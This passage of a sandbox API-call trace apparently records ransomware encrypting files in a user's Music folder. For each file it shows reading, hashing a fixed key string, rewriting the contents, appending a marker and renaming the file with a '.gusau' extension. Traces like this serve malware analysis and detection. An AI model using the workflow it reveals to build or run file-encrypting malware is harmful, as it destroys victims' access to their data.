Size=0x11) returned 0x392a988 [0117.422] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.422] GetLastError () returned 0x0 [0117.423] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.423] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.423] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18830) returned 0x39f9f20 [0117.423] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.423] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.423] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1882a, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1882a, lpOverlapped=0x0) returned 1 [0117.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.424] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1882f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.424] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.424] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.424] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.424] CloseHandle (hObject=0x610) returned 1 [0117.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H94nos6VqWF8Oqje.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h94nos6vqwf8oqje.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H94nos6VqWF8Oqje.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h94nos6vqwf8oqje.m4a.gusau")) returned 1 [0117.426] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.426] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.427] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef896830, ftCreationTime.dwHighDateTime=0x1d4ca93, ftLastAccessTime.dwLowDateTime=0x8bffacb0, ftLastAccessTime.dwHighDateTime=0x1d4cf71, ftLastWriteTime.dwLowDateTime=0x8bffacb0, ftLastWriteTime.dwHighDateTime=0x1d4cf71, nFileSizeHigh=0x0, nFileSizeLow=0x13964, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="H99vbmXS7JVu8GvPT.mp3", cAlternateFileName="H99VBM~1.MP3")) returned 1 [0117.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.427] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H99vbmXS7JVu8GvPT.mp3") returned=".mp3" [0117.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H99vbmXS7JVu8GvPT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h99vbmxs7jvu8gvpt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.428] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=80228) returned 1 [0117.428] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.430] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1393e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.430] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.431] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.431] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.431] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.431] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13964, lpOverlapped=0x0) returned 1 [0117.432] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.432] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.433] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.433] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.433] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.433] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.433] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.433] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.433] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.434] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.434] GetLastError () returned 0x0 [0117.434] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.434] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.434] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13960) returned 0x39f9f20 [0117.434] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.434] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1395f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1395f, lpOverlapped=0x0) returned 1 [0117.434] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.435] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.435] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.435] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.435] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.435] CloseHandle (hObject=0x610) returned 1 [0117.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.436] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.436] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H99vbmXS7JVu8GvPT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h99vbmxs7jvu8gvpt.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\H99vbmXS7JVu8GvPT.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\h99vbmxs7jvu8gvpt.mp3.gusau")) returned 1 [0117.437] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.437] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.438] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.438] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf17b050, ftCreationTime.dwHighDateTime=0x1d4d0d1, ftLastAccessTime.dwLowDateTime=0x3915a1e0, ftLastAccessTime.dwHighDateTime=0x1d4c5f7, ftLastWriteTime.dwLowDateTime=0x3915a1e0, ftLastWriteTime.dwHighDateTime=0x1d4c5f7, nFileSizeHigh=0x0, nFileSizeLow=0xef9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hf0MR7KC2v0S0EFbF.mp3", cAlternateFileName="HF0MR7~1.MP3")) returned 1 [0117.438] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.438] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0117.438] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.438] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hf0MR7KC2v0S0EFbF.mp3") returned=".mp3" [0117.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hf0MR7KC2v0S0EFbF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hf0mr7kc2v0s0efbf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.439] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=61338) returned 1 [0117.439] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.442] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xef74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.442] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.443] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.443] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xef9a, lpOverlapped=0x0) returned 1 [0117.444] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.444] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.444] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.444] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.444] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.445] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.445] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.445] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.445] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.445] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.445] GetLastError () returned 0x0 [0117.445] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.445] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.445] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xefa0) returned 0x39f9f20 [0117.445] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.445] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.445] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xef95, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xef95, lpOverlapped=0x0) returned 1 [0117.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.446] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xef9a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.446] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.446] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.446] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.446] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.446] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.446] CloseHandle (hObject=0x610) returned 1 [0117.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.447] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.447] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.447] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hf0MR7KC2v0S0EFbF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hf0mr7kc2v0s0efbf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hf0MR7KC2v0S0EFbF.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hf0mr7kc2v0s0efbf.mp3.gusau")) returned 1 [0117.448] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.448] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.449] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e647770, ftCreationTime.dwHighDateTime=0x1d4ccdc, ftLastAccessTime.dwLowDateTime=0x675d7230, ftLastAccessTime.dwHighDateTime=0x1d4c5ca, ftLastWriteTime.dwLowDateTime=0x675d7230, ftLastWriteTime.dwHighDateTime=0x1d4c5ca, nFileSizeHigh=0x0, nFileSizeLow=0xf0eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j nRVt1oLEKKj.m4a", cAlternateFileName="JNRVT1~1.M4A")) returned 1 [0117.449] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.449] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.449] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j nRVt1oLEKKj.m4a") returned=".m4a" [0117.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\j nRVt1oLEKKj.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j nrvt1olekkj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.449] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=61675) returned 1 [0117.449] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.452] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf0c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.452] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.455] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.455] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.455] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.455] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf0eb, lpOverlapped=0x0) returned 1 [0117.457] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.457] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.457] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.457] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.457] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.458] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.458] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.458] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.458] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.458] GetLastError () returned 0x0 [0117.458] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.458] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.458] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0f0) returned 0x39f9f20 [0117.458] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.458] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.458] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xf0e6, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xf0e6, lpOverlapped=0x0) returned 1 [0117.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.459] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf0eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.459] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.459] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.459] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, 